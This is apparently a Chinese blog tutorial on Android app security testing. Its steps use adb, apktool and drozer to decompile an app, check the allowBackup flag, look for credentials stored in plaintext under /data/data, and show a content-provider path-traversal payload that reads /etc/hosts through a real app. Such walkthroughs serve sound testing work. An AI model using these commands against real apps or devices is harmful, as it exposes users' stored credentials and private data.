安卓APP反编译备份攻击

环境:

夜神模拟器

工具:

Adb

Apktool

过程:

adb查看链接的安卓设备

1、使用命令adb devices查看当前链接的设备

 

使用命令adb kill-server杀死已连接设备,再使用adb start-server重启设备

2、使用adb shell pm list packages列出所有的apk

 使用adb shell进入设备系统,用命令dumpsys meminfo查看所有应用程序及其当前内存占用的列表

3、使用adb logcat -d -f /data/local/logcats.loglogcat存放在/data/local/目录下,在adb shell下进入/data/local/目录,查看logcat

 

 使用 df 命令检查文件系统以及可用空间和大小

4、使用apktoolapk文件进行反编译,使用命令apktool d [apkname].apk,将apk文件反编译

 

相反,使用命令apktool b [folder name] [target-apkname].apk可将反编译后的文件重新编译成想要命名的apk文件

5、在反编译完成的文件中,查看定义它们的 AndroidManifest.xml 文件,android:allowbackup处值为true,说明存在可备份漏洞,可使用adb backupadb restore来进行数据备份和恢复。

可用drozer检查sql注入等类似问题

6、访问 adb shell ,之后使用 cd 进入 /data/data/[package name of the app] 。我们在这里执行 ls -l ,就可以看到文件和文件夹的文件权限:

# ls -l /data/data/com.aditya.example/files/userinfo.xml

-rw-rw-rw- app_200 app_200 22034 2013-11-07 00:01 userinfo.xml

这里我们可以使用 find 来搜索权限。

find /data/data/ -perm [permissions value]

如果我们执行 cat userinfo.xml ,它储存了应用的用户的用户名和密码。就说明存在不安全的存储漏洞。

 此处无userinfo.xml,所以只做演示。

7、使用命令run app.provider.finduri com.android.insecurebankv2查找apk的所有内容供应器

 使用 app.provider.read 搜索并利用本地文件包含漏洞,尝试从系统中读取一些文件,如 /etc/hosts /proc/cpuinfo

dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/hosts

 此处只做演示。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2022-04-18 19:01  Dark狼  阅读(110)  评论(0)    收藏  举报